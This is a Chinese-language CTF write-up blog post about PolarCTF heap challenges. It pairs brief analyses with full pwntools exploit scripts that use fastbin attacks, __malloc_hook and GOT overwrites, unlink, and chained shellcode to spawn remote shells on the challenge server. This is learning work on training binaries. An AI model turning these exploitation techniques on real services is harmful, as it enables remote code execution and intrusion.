记录堆的做题2
记录堆的做题2
依旧polar
巴啦啦亮吗
堆溢出漏洞
emmm,题目出的都差不多,板子改改就通了
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2072)
#p=process('./a4')
elf=ELF('./a4')
libc=ELF('./libc.so.6')
def xu(a):
p.recvuntil(b'choice:')
p.sendline(str(a))
p.recvuntil(b'index:')
def add(a,b):
xu(1)
p.sendline(str(a))
p.recvuntil(b'size:')
p.sendline(str(b))
def edi(a,b,c):
xu(3)
p.sendline(str(a))
p.recvuntil(b'length:')
p.sendline(str(b))
p.recvuntil(b'content:')
p.sendline(c)
def de(a):
xu(2)
p.sendline(str(a))
def show(a):
xu(4)
p.sendline(str(a))
add(0,0x410)#0
add(1,0x10)#1
de(0)
#pause()
add(0,0x410)#0
show(0)
lib=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(lib))
ba=0x3afca0
lib=lib-ba
one_gadget=[0x41612,0x41666,0xdeed2]
add(2,0x68)#2
add(3,0x68)#3
de(3)
print(hex(libc.sym['__malloc_hook']+lib))
pay1=b'a'*0x68+p64(0x71)+p64(libc.sym['__malloc_hook']-0x23+lib)
edi(2,len(pay1),pay1)
add(3,0x68)#3
add(4,0x68)#malloc_hook,4
#gdb.attach(p)
pa=b'\x00'*0x23+p64(one_gadget[2]+lib)
edi(4,len(pa),pa)
add(5,0x10)
#pause()
p.interactive()
巴啦啦不亮的heap
设定目标地点0x6020ac值>0xffff
堆溢出,申请目标区域内存,修改参数
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2129)
#p=process('./a5')
elf=ELF('./a5')
libc=ELF('./libc.so.6')
def xu(a):
p.recvuntil(b'choice:')
p.sendline(str(a))
def add(a,b):
xu(1)
p.recvuntil(b'index:')
p.sendline(str(a))
p.recvuntil(b'size:')
p.sendline(str(b))
def edi(a,b,c):
xu(2)
p.recvuntil(b'index:')
p.sendline(str(a))
p.recvuntil(b'length')
p.sendline(str(b))
p.recvuntil(b'content:')
p.sendline(c)
def de(a):
xu(3)
p.recvuntil(b'index:')
p.sendline(str(a))
add(0,0x68)
add(1,0x68)
add(2,0x80)
de(1)
pay1=b'a'*0x68+p64(0x71)+p64(0x6020ac-0x10+0x1)
edi(0,len(pay1),pay1)
add(1,0x68)
#gdb.attach(p)
add(3,0x68)
edi(3,0x68,p64(0xffffff))
xu(5)
#pause()
p.interactive()
heap1
挺有意思
能用的菜单就只有add和del,check了一下检查发现就NX没开,猜测是不是shellcode
但只有八字节输入,而且没有读取操作,我嘞个难度飙升
这题我自己没整出来,是看着wp整明白的

在此处有下标溢出漏洞,可以通过对下表索引进行计算从而设置到free的got表进行修改

是free地址-0x2020a0然后再除以8,因为一个64位指针占8字节,这样才是正确的索引(是负数,向上定位)
然后在bss[0]设置为/bin/sh,后面分段设置shellcode
exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2142)
#p=process('./a6')
elf=ELF('./a6')
libc=ELF('./libc.so.6')
def xu(a):
p.recvuntil(b'choice>>')
p.sendline(str(a))
p.recvuntil(b'index:')
def add(a,c):
xu(1)
p.sendline(str(a))
p.recvuntil(b'size')
p.sendline(b'8')
p.recvuntil(b'content')
p.sendline(c)
def de(a):
xu(4)
p.sendline(str(a))
#gdb.attach(p)
print(hex(elf.got['free']))
add(0,b'/bin/sh')
add((elf.got['free']-0x2020a0)/8,asm('xor rsi,rsi')+b'\x90\x90\xe9\x16')
add(1,asm('push 0x3b\n pop rax')+b'\x90\x90\xe9\x16')
add(2,asm('xor rdx,rdx')+b'\x90\x90\xe9\x16')
add(3,asm('syscall')+b'\x90'*5)
de(0)
#pause()
p.interactive()
第一次先在0索引设置/bin/sh,就是rdi
然后找到通过索引,锁定free的got表,进行修改,改为堆的指针,然后后面是rsi=0与短跳
第三、四次就是设置rax,rdx,同样后面接短跳,然后第五次是设置syscall调用,nop栈对齐
最后de(0)调用free函数,首先rdi为/bin/sh,然后,通过free定位到堆2fd地方,设置rsi,然后往下接着,最后syscall系统调用getshell
这题真是让我有种豁然开朗的感觉,是以前没怎么想到的。
自我审查对shellcode和c语言审计以及各种的指针调用还是不太熟悉
bll_ezheap2
简单看了一下,有后门函数,然后漏洞点在edit,能堆溢出
思路是堆溢出修改__malloc_hook或者free,然后地址改成后门函数地址
没有show那可能就得修改free了
emmm,前面思路错了,找不到合适的地方取内存,后面去学习学习了wp,发现是用unlink做的
这题也让我对unlink用于什么地方的攻击,有什么攻击效果更为理解了
先附上exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2142)
#p=process('./a7')
elf=ELF('./a7')
libc=ELF('./libc.so.6')
def xu(a):
p.recvuntil(b'choice:')
p.sendline(str(a))
def add(b):
xu(1)
p.recvuntil(b'size')
p.sendline(str(b))
def de(a):
xu(2)
p.recvuntil(b'index:')
p.sendline(str(a))
def edi(a,b,c):
xu(3)
p.recvuntil(b'index:')
p.sendline(str(a))
p.recvuntil(b'length:')
p.sendline(str(b))
p.recvuntil(b'content:')
p.sendline(c)
sh=0x4009d5
fre=elf.got['free']
print(hex(fre))
add(0x30)#0
add(0x30)#1
add(0x30)#2
add(0x30)#3
add(0x80)#4
add(0x10)#5
tar=0x6010c0+0x18
fd=tar-0x18
bk=tar-0x10
#gdb.attach(p)
pay1=p64(0)+p64(0x30)+p64(fd)+p64(bk)+b'a'*0x10+p64(0x30)+p64(0x90)
edi(3,len(pay1),pay1)
de(4)
pa=p64(fre)
edi(3,len(pa),pa)
pay3=p64(sh)
edi(0,len(pay3),pay3)
de(0)
#pause()
p.interactive()
bll_ezheap3
简单的菜单修改,然后通过修改目标值<=0xff而getshell
edit处漏洞,del无漏洞
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2091)
#p=process('./s1')
elf=ELF('./s1')
libc=ELF('./libc.so.6')
def xu(a):
p.recvuntil(b'choice:')
p.sendline(str(a))
p.recvuntil(b'index:')
def add(a,b):
xu(1)
p.sendline(str(a))
p.recvuntil(b'size')
p.sendline(str(b))
def de(a):
xu(3)
p.sendline(str(a))
def edi(a,b,c):
xu(2)
p.sendline(str(a))
p.recvuntil(b'length:')
p.sendline(str(b))
p.recvuntil(b'content:')
p.sendline(c)
n5=0x6020ac
a1=n5-0x10+0x1
add(0,0x68)
add(1,0x68)
add(2,0x10)
de(1)
pay1=b'a'*0x68+p64(0x71)+p64(a1)
edi(0,len(pay1),pay1)
add(1,0x68)
add(3,0x68)
pay2=p64(0)
edi(3,len(pay2),pay2)
#gdb.attach(p)
p.sendline(b'5')
#pause()
p.interactive()
polarmagicheap
依旧修改某区域参数大于特定值
堆溢出
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2125)
#p=process('./s2')
elf=ELF('./s2')
libc=ELF('./libc.so.6')
def xu(a):
p.sendlineafter(b'Your choice :',str(a))
def add(a,b):
xu(1)
p.sendlineafter(b'Size of Heap :',str(a))
p.sendlineafter(b'Content of heap:',b)
def edi(a,b,c):
xu(2)
p.sendlineafter(b'Index :',str(a))
p.sendlineafter(b'Size of Heap :',str(b))
p.sendlineafter(b'Content of heap : ',c)
def de(a):
xu(3)
p.sendlineafter(b'Index :',str(a))
magic=0x6020c0
ma=magic-0x13
add(0x68,b'aaaa')#0
add(0x68,b'bbbb')#1
add(0x10,b'cccc')#2
de(1)
pay=b'a'*0x68+p64(0x71)+p64(ma)
edi(0,len(pay),pay)
add(0x68,b'dddd')#3
add(0x68,b'eeee')#4
#gdb.attach(p)
pay1=b'a'+p64(0xfffffff)
edi(3,len(pay1),pay1)
p.sendline(b'2020')
#pause()
p.interactive()

浙公网安备 33010602011771号